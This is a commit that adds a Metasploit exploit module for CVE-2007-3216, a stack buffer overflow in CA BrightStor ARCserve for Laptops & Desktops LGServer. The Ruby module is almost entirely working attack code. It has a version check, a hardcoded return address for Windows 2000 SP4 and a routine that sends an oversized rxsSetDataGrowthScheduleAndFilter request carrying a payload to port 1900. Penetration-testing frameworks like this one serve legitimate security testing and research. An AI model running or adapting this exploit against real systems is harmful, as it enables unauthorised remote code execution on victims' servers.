added exploit module lgserver_rxssetdatagrowthscheduleandfilter.rb

git-svn-id: file:///home/svn/framework3/trunk@10893 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb

@@ -0,0 +1,96 @@
+##
+# $Id: $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	Rank = AverageRanking
+
+	include Msf::Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer (rxsSetDataGrowthScheduleAndFilter) Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
+				for Laptops & Desktops 11.1. By sending a specially crafted request (rxsSetDataGrowthScheduleAndFilter),
+				an attacker could overflow the buffer and execute arbitrary code.
+			},
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision: 10892 $',
+			'References'     =>
+				[
+					[ 'CVE', '2007-3216' ],
+					[ 'OSVDB', '35329' ],
+					[ 'BID', '24348' ],
+				],
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 700,
+					'BadChars' => "\x00",
+					'StackAdjustment' => -3500,
+				},
+			'Platform' => 'win',
+			'Targets'  =>
+				[
+					[ 'Windows 2000 SP4 English',	{ 'Ret' => 0x75031dce } ],
+				],
+			'DisclosureDate' => 'Jun 6 2007',
+			'DefaultTarget' => 0))
+
+		register_options([ Opt::RPORT(1900) ], self.class)
+	end
+
+	def check
+	
+		connect
+
+		sock.put("0000000019rxrGetServerVersion")
+		ver = sock.get_once
+
+		disconnect
+
+		if ( ver =~ /11.1.742/ )
+				return Exploit::CheckCode::Vulnerable
+		end
+
+		return Exploit::CheckCode::Safe
+	
+	end
+
+	def exploit
+
+		connect
+
+		data = rand_text_alpha_upper(20080) + [target.ret].pack('V')
+		data << payload.encoded + rand_text_alpha_upper(25000 - 20084 - payload.encoded.length) 
+		
+		sploit  = "0000025000"				# Command Length Field
+		sploit << "rxsSetDataGrowthScheduleAndFilter"	# RPC Command
+		sploit << "~~"					# Constant Argument Delimiter
+		sploit << data
+
+		print_status("Trying target #{target.name}...")
+		sock.put(sploit)
+		
+		handler
+		disconnect
+
+	end
+
+end